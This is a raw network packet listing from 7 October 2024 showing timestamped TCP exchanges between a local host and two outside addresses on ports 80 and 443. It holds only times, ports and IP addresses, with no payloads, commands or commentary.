Oct 7, 2024 21:18:37.600876093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.600912094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600919008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600923061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600950003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.611507893 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.612164021 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.612874985 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.613362074 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.613441944 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.613466978 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.613481998 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.613490105 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.613883972 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.613931894 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.614063978 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.614310980 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.614326954 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.614336967 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.614342928 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.616697073 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.616727114 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.617280960 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.617492914 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.617512941 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.617605925 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.617630005 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.617687941 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.617765903 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.617773056 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.622733116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622783899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.622807980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622821093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622854948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.622908115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622920036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622931004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622942924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622953892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.622972965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.622988939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.623163939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623174906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623186111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623197079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623214960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.623229027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.623255014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623266935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623279095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623291016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.623291016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.623316050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.623338938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.624413013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624423981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624433994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624465942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.624500036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.624578953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624591112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624602079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624630928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.624764919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624777079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624788046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624809027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.624824047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.624929905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624941111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624952078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.624984026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625102043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625113964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625125885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625135899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625148058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625149965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625169992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625184059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625278950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625291109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625302076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625312090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625320911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625324011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625344038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625345945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625356913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625363111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625387907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625693083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625710011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625720978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625732899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625732899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625746965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625758886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625780106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625785112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625792980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625804901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625814915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625817060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625828981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625833035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625842094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625858068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.625860929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625876904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.625900030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653198957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653291941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653325081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653336048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653347015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653377056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653549910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653562069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653575897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653585911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653614998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653742075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653752089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653762102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653773069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653800964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653817892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.653924942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653937101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.653975010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654082060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654093027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654107094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654117107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654125929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654134989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654145956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654151917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654158115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654167891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654170036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654181957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654191017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654203892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654215097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654216051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654228926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654238939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654247046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654251099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654263020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654289961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654584885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654596090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654606104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654616117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654627085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654644966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.654943943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654956102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654966116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654977083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654987097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654998064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.654999018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655009985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655013084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655021906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655036926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655055046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655092955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655106068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655180931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655263901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655273914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655303955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655427933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655438900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655451059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655461073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655466080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655472994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655487061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655510902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655540943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655553102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655563116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655574083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655584097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655586958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655596972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655603886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655608892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655620098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655621052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655633926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.655643940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.655674934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.682817936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.682867050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.682912111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.682923079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.682960987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.683010101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.683018923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.683028936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.683037996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.683068037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705028057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705074072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705076933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705085039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705116987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705199957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705209970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705218077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705256939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705384970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705394983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705404043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705413103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705421925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705440044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705457926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705609083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705619097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705637932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705646038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.705660105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.705693960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.706546068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706588984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706590891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.706599951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706630945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.706690073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706701040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706710100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706746101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.706820011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706830978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706862926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.706918001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706928968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.706959009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707072973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707082987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707092047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707103014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707110882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707113981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707124949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707156897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707170963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707315922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707326889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707340956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707351923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707361937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707366943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707377911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707406044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707662106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707673073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707681894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707688093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707698107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707706928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707715034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707717896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707742929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707767963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.707933903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707947016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.707956076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708015919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.708151102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708161116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708169937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708179951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708190918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708199978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.708199978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708210945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.708230019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.708244085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735554934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735574961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735584974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735610962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735634089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735657930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735671043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735696077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735738993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735745907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735750914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735774040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735799074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735829115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735873938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735929966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735941887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735951900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735964060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735969067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.735979080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.735987902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736013889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736172915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736183882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736193895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736231089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736341000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736351013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736361027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736375093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736391068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736406088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736543894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736555099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736565113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736578941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736592054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736598969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736624002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736638069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736799955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736809969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736821890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736838102 CEST	80	49810	95.164.90.97	192.168.2.5
